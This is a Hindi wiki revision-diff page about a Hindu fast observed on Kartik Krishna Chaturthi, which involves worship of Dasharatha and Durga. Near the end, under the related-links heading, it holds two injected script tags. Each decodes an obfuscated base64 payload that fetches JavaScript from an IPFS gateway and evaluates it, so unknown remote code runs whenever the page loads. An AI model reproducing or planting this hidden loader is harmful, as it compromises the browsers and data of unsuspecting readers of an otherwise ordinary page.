आदित्य चौधरी (वार्ता | योगदान) छो (Text replace - "उल्लखित" to "उल्लिखित") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - ")</ref" to "</ref") |
||
(2 सदस्यों द्वारा किए गए बीच के 2 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 2: | पंक्ति 2: | ||
*[[कार्तिक]] [[कृष्ण पक्ष]] की चतुर्थी को यह व्रत किया जाता है। | *[[कार्तिक]] [[कृष्ण पक्ष]] की चतुर्थी को यह व्रत किया जाता है। | ||
*मिट्टी के पात्र में राजा [[दशरथ]] की मूर्ति तथा [[दुर्गा]] की पूजा की जाती है। | *मिट्टी के पात्र में राजा [[दशरथ]] की मूर्ति तथा [[दुर्गा]] की पूजा की जाती है। | ||
*पुरुषार्थचिन्तामणि<ref>पुरुषार्थचिन्तामणि, (94-95 | *पुरुषार्थचिन्तामणि<ref>पुरुषार्थचिन्तामणि, (94-95</ref> ने इसे करक-चतुर्थी कहा है।<ref>निर्णयसिन्धु (196</ref> | ||
{{प्रचार}} | |||
==अन्य संबंधित लिंक== | ==अन्य संबंधित लिंक== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | {{व्रत और उत्सव}} | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
12:45, 27 जुलाई 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- कार्तिक कृष्ण पक्ष की चतुर्थी को यह व्रत किया जाता है।
- मिट्टी के पात्र में राजा दशरथ की मूर्ति तथा दुर्गा की पूजा की जाती है।
- पुरुषार्थचिन्तामणि[1] ने इसे करक-चतुर्थी कहा है।[2]
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>